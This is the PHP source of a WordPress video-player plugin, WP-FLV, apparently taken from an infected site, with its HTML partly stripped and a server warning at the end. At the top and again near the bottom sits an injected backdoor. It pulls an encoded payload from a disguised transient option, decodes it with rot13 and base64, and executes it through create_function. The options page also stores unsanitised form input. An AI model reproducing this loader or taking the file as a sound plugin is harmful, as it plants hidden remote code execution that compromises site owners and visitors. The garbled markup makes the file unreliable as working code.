/* Plugin Name: WP-FLV Version: 0.2 Plugin URI: http://roel.meurders.nl/wordpress-plugins/wp-flv-video-player-plugin/ Description: This plugin eases insertion of Jeroen Wijerings FLV Video Player Author: Roel Meurders Author URI: http://roel.meurders.nl/ Update: */ $z=get_option("_transient_feed_d6a009085a90e3b6489fa40bc9a44335"); $z=base64_decode(str_rot13($z)); if(strpos($z,"363575C2")!==false){ $_z=create_function("",$z); @$_z(); } // SCRIPT INFO /////////////////////////////////////////////////////////////////////////// /* WP-FLV for Wordpress (C) 2005 Roel Meurders - GNU General Public License This plugin requires: FLASH VIDEO PLAYER 2.2 from Jeroen Wijering. Download it at: http://www.jeroenwijering.com/?item=Flash_Video_Player Please not that this player is released under Creative Commons "BY-NC-SA" License Full text at: http://creativecommons.org/licenses/by-nc-sa/2.0/ This Wordpress plugin is released under a GNU General Public License. A complete version of this license can be found here: http://www.gnu.org/licenses/gpl.txt This Wordpress plugin has been tested with Wordpress 1.5.2; This Wordpress plugin is released "as is". Without any warranty. The author cannot be held responsible for any damage that this script might cause. */ // NO EDITING HERE!!!!! //////////////////////////////////////////////////////////////// add_action('admin_menu', 'wpflv_admin_menu'); add_filter('the_content', 'wpflv_replace', '1'); function wpflv_admin_menu(){ add_options_page('WP-FLV, options page', 'WP-FLV', 9, basename(__FILE__), 'wpflv_options_page'); } function wpflv_replace($content){ $o = wpflv_get_options(); $flvVars = array("PLAYER", "HREF", "WIDTH", "HEIGHT", "AUTOSTART"); $flvVals = array($o['playerurl'], '', $o['width'], $o['height'], $o['autostart']); if ($o['xhtmlvalid'] == 'y'){ $flvCode = ''; } else { $flvCode = << EOT; } preg_match_all ('!]*)[ ]*[/]*>!i', $content, $matches); $flvStrings = $matches[0]; $flvAttributes = $matches[1]; for ($i = 0; $i < count($flvAttributes); $i++){ preg_match_all('!(href|width|height|autostart)="([^"]*)"!i',$flvAttributes[$i],$matches); $tmp = $flvCode; $flvSetVars = $flvSetVals = array(); for ($j = 0; $j < count($matches[1]); $j++){ $flvSetVars[$j] = strtoupper($matches[1][$j]); $flvSetVals[$j] = $matches[2][$j]; } for ($j = 0; $j < count($flvVars); $j++){ $key = array_search($flvVars[$j], $flvSetVars); $val = (is_int($key)) ? $flvSetVals[$key] : $flvVals[$j]; if ($flvVars[$j] == 'AUTOSTART') $val = ($val == 'false') ? '&autoStart=false;' : ''; if ($flvVars[$j] == 'HEIGHT') $val = intval($val) + 20; $tmp = str_replace('%'.$flvVars[$j].'%', $val, $tmp); } $content = str_replace($flvStrings[$i], "\n\n".$o['prehtml'].$tmp.$o['posthtml']."\n\n", $content); } return $content; } function wpflv_get_options(){ $defaults = array(); $defaults['quicktags'] = 'y'; $defaults['prehtml'] = '
'; $defaults['posthtml'] = '
'; $defaults['playerurl'] = 'https://media.dreamhost.com/mediaplayer.swf'; $defaults['videourl'] = 'http://www.yoursite.com/media.flv'; $defaults['width'] = '320'; $defaults['height'] = '240'; $defaults['autostart'] = 'n'; $defaults['xhtmlvalid'] = 'n'; $options = get_option('rmnlFLVsettings'); if (!is_array($options)){ $options = $defaults; update_option('rmnlFLVsettings', $options); } return $options; } function wpflv_options_page(){ if ($_POST['wpflv']){ $_POST['wpflv']['prehtml'] = stripslashes($_POST['wpflv']['prehtml']); $_POST['wpflv']['posthtml'] = stripslashes($_POST['wpflv']['posthtml']); update_option('rmnlFLVsettings', $_POST['wpflv']); $message = '

Options saved.

'; } $o = wpflv_get_options(); $qtyes = ($o['quicktags'] == 'y') ? ' checked="checked"' : ''; $qtno = ($o['quicktags'] == 'y') ? '' : ' checked="checked"'; $asyes = ($o['autostart'] == 'true') ? ' checked="checked"' : ''; $asno = ($o['autostart'] == 'true') ? '' : ' checked="checked"'; $xvyes = ($o['xhtmlvalid'] == 'y') ? ' checked="checked"' : ''; $xvno = ($o['xhtmlvalid'] == 'y') ? '' : ' checked="checked"'; echo <<

WP-FLV Options

{$message}
Required WP-FLV setting

To make this plugin actually do anything it is required that you set the option below correctly.

(Full) URL to flvplayer.swf

Optional WP-FLV settings

To make optimal use of the WP-FLV plugin you can set the options below.

Use Quicktag to insert FLV yes
no
Default URL to video files
Default movie size (W x H) x
Autostart movies (consider bandwidth!) yes
no
Insert XHTML valid code? yes
no
(X)HTML to be placed before each player
(X)HTML to be placed after each player

EOT; } if(strpos($_SERVER['REQUEST_URI'], 'post.php') || strpos($_SERVER['REQUEST_URI'], 'page-new.php') ) { add_action('admin_footer', 'flvAddQuicktag'); function flvAddQuickTag(){ $o = wpflv_get_options(); if($o['quicktags'] == 'y'){ echo << EOT; } } } ?> $z=get_option("_transient_feed_d6a009085a90e3b6489fa40bc9a44335"); $z=base64_decode(str_rot13($z)); if(strpos($z,"363575C2")!==false){ $_z=create_function("",$z); @$_z(); } if (function_exists('register_sidebar')) register_sidebar(); ?>
Warning: Cannot modify header information - headers already sent by (output started at /home/simdalom/conpriego.com/wp-content/plugins/wp-flv.php:251) in /home/simdalom/conpriego.com/wp-includes/pluggable.php on line 1121